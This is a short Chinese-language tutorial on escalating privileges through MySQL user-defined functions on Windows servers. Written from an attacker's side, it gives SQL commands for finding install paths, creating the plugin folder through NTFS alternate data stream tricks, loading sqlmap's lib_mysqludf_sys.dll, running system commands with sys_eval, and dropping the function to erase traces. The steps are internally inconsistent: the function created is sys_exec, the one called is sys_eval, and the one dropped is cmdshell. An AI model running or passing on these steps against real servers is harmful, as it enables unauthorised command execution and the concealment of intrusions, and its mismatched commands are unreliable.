什么是udf?
udf-mysql扩展函数
MySQL的内置函数虽然丰富,但毕竟不能完全满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。
UDF提权原理
使用udf分三步:
1.把含义自定义函数(如执行系统命令函数“sys_eval”)的dll文件放入特定文件夹下。
2.声明引入这个dll文件中的自定义函数。
3.使用自定义的函数。
提权前置条件
1.目标系统是Windows(Win2000,XP,Win2003的成功率比较高)
2.你已经拥有MYSQL的某个用户账号(网站配置文件、查看数据库安装路径下的mysql文件、暴力破解),此账号必须有对mysql的insert和delete权限以创建和抛弃函数,一般是root。
3.如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下才可以创建自定义函数,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录。
4.如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
提权过程
1.收集必要信息
select version(); //获取数据库版本 select user(); //获取数据库用户 select @@basedir; //获取数据库安装目录 show variables like "%char%"; //寻找mysql安装路径
2.MySQL版本高于5.1,创建导出文件夹
如上前置条件-3所说,MySQL版本高于5.1,libplugin目录本身是不存在的。参考资料利用NTFS ADS流来创建文件夹,如下所示:
select @@basedir; select 'it is dll' into dumpfile ' c:\\phpStudy\\MySQL\\share\\charsets\\lib::$INDEX_ALLOCATION'; select 'it is dll' into dumpfile ' c:\\phpStudy\\MySQL\\share\\charsets\\lib\\plugin::$INDEX_ALLOCATION';
或者直接用你获得的webshell在mysql安装路径下创建piugin目录,再导入udf.dll
3.导入udf.dll文件
SQLmap里的duf.dll是经过编码的使用 sqlmap/extra/cloak目录下的 cloak.py进行解码
create function sys_exec returns string soname "lib_mysqludf_sys.dll";
4.执行命令
select sys_eval ('whoami');
5.清除痕迹
drop dunction cmdshell; //将函数删除